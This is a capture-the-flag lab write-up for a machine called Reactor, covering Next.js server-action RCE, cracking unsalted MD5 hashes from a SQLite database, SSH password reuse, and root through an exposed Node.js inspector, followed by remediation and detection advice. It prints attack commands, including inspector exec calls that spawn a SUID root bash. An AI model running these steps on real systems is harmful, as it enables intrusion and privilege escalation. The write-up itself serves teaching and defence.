Reactor
node user. The application's SQLite database held MD5 password hashes; one cracked and gave
SSH as engineer. Root came from a root-owned Node.js uptime monitor running with
--inspect bound to 127.0.0.1:9229 — attaching to the debugger is command
execution inside a root process.
- Target
- reactor.htb — "ReactorWatch Core Monitoring System"
- Host OS
- Linux
- Foothold
- React Server Components RCE (React2Shell-style) as
node - User
- SQLite loot → MD5 crack → SSH as
engineer - Root
- Node.js inspector on
127.0.0.1:9229in a root process
01Enumeration
nmap -sC -sV -p- <target>
| Port | Service | Notes |
|---|---|---|
| 22 | ssh | OpenSSH |
| 3000 | http | Next.js — "ReactorWatch | Core Monitoring System", X-Powered-By: Next.js |
Two ports and a Next.js banner is already a strong steer. Route fuzzing does not reveal much here, because the attack surface is not a route in the traditional sense — it is the React Server Components action protocol.
02Foothold — React Server Components RCE
Next.js server actions accept a serialized payload identified by the Next-Action header. A
React2Shell-style multipart POST abuses the deserialization of that payload to reach server-side command
execution — no authentication required, and nothing that looks like a normal endpoint.
python3 reactor2shell.py http://<target>:3000 id | tee reactor-rce-id.txt
# 1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}
Execution lands as the node service user. The response comes back inside the RSC error
digest field, which is a neat detail — the output channel is the framework's own error
serialisation.
03Post-exploitation loot
With command execution, the application directory is the obvious first stop:
/opt/reactor-app/package.json
/opt/reactor-app/.env
/opt/reactor-app/reactor.db
/opt/reactor-app/app/page.js
/opt/uptime-monitor/worker.js <-- note this one for later
The environment file gives the database location and some internal configuration:
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
SENSOR_API_KEY=<redacted>
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
NODE_ENV=production
The SQLite database has users and sensor_logs tables; users stores
bare MD5 hashes with no salt.
hashcat -m 0 engineer.hash /usr/share/wordlists/rockyou.txt
The engineer hash falls to rockyou immediately, and the password is reused for SSH — the
bridge from web access to system access.
ssh engineer@<target>
04Root — a debugger left open
engineer has no sudo rights, but process enumeration finds the real issue:
sudo -l # user engineer may not run sudo on reactor
ps auxww | grep -- '--inspect'
# root 1420 ... /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
ss -lntup | grep 9229
# LISTEN 0 511 127.0.0.1:9229
The Node.js inspector is a full debugging interface: anyone who can connect to it can evaluate arbitrary JavaScript inside that process. The process is root, so the debugger is a root shell with extra steps. Binding it to localhost is not a control — any local user can reach localhost.
node inspect 127.0.0.1:9229
# connecting to 127.0.0.1:9229 ... ok
debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
# 'uid=0(root) gid=0(root) groups=0(root)\n'
Confirm root execution first with id, then build something stable:
debug> exec("process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash').toString()")
debug> exec("process.mainModule.require('child_process').execSync('chmod 4755 /tmp/rootbash').toString()")
engineer@reactor:~$ /tmp/rootbash -p
rootbash-5.2# id
# uid=1000(engineer) euid=0(root)
05If this were your environment
Node.js inspector enabled on a root-owned production process
--inspect=127.0.0.1:9229 on a root process gives every local user arbitrary code execution
as root. The localhost bind limits remote access but does nothing once an attacker has any local shell —
which the web RCE already provided.
- Remove
--inspect/--inspect-brkfrom production service definitions. This is the primary fix; firewalling the port is secondary. - Do not run application or monitoring processes as root. Give the uptime monitor its own service account with only what it needs.
- Harden the unit:
User=,Group=,NoNewPrivileges=true,PrivateTmp=true,ProtectSystem=strict,ProtectHome=true,RestrictAddressFamilies=AF_INET AF_UNIX. - Monitor for debug flags and port 9229 across the estate as a standing check.
CIS Controls v8: 4.x secure configuration · 4.8 disable unnecessary services
Unauthenticated RCE through React Server Components
The Next.js server-action deserialization path allowed command execution as the application user with no authentication, through a mechanism ordinary route enumeration never surfaces.
- Patch Next.js and React to versions with the server-action deserialization fix, and track those advisories actively — this class is young and moving.
- Run the app as a confined, non-privileged user in a container or hardened unit, so RCE in the framework is not a foothold on the host.
- Include framework-native protocols in test scope — server actions, RSC payloads, tRPC and similar are attack surface that path-based scanning misses.
Unsalted MD5 password hashes, reused for SSH
The application stored bare MD5 hashes, and the recovered password also worked for the operating system account — turning an application compromise into interactive host access.
- Store passwords with a modern KDF — argon2id or bcrypt with a per-user salt. MD5 is not a password hash.
- Separate application identities from OS identities. An app user should never share a credential with a shell account.
- Keep the database off the app server where practical, and restrict its file permissions from the web process.
CWE: CWE-916 use of password hash with insufficient computational effort
06Detection — the blue-team side
- Node inspector listeners in production — alert on any process with
--inspector a listener on 9229. - The web service user spawning shells or reading the application database outside normal query paths.
- New SUID binaries, particularly copies of shells in
/tmp. - SSH logins for accounts whose passwords also exist in an application database — worth correlating once, then fixing.
07Takeaways
- Modern JavaScript stacks create real server-side attack surface. "It's a React app" does not mean the interesting bugs are in the browser.
- Application databases are the bridge from web compromise to system access — they are where credentials that work elsewhere live.
- Debug interfaces are remote code execution with a friendly name. On a root process, a localhost bind buys you nothing.
- Confirm privileged execution with
idbefore building a shell. Cheap proof first, payload second.
◆If this were my environment
The application flaw yielded server-side code execution; weak credential storage and an exposed root debugger turned it into total compromise. I would remove every production debugging path and strengthen both software and secret lifecycles.
- Patch Next.js and React Server Components promptly, pin dependencies, verify build artifacts and test releases against a defined application-security standard.
- Use Argon2id or an equivalent adaptive password hash with unique salts; rotate credentials after any database exposure.
- Never run Node inspection or debugging as root; bind diagnostics to a protected local socket and disable them in production builds.
- Run the web tier as an unprivileged, sandboxed identity with read-only code and no access to production secrets beyond its exact role.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.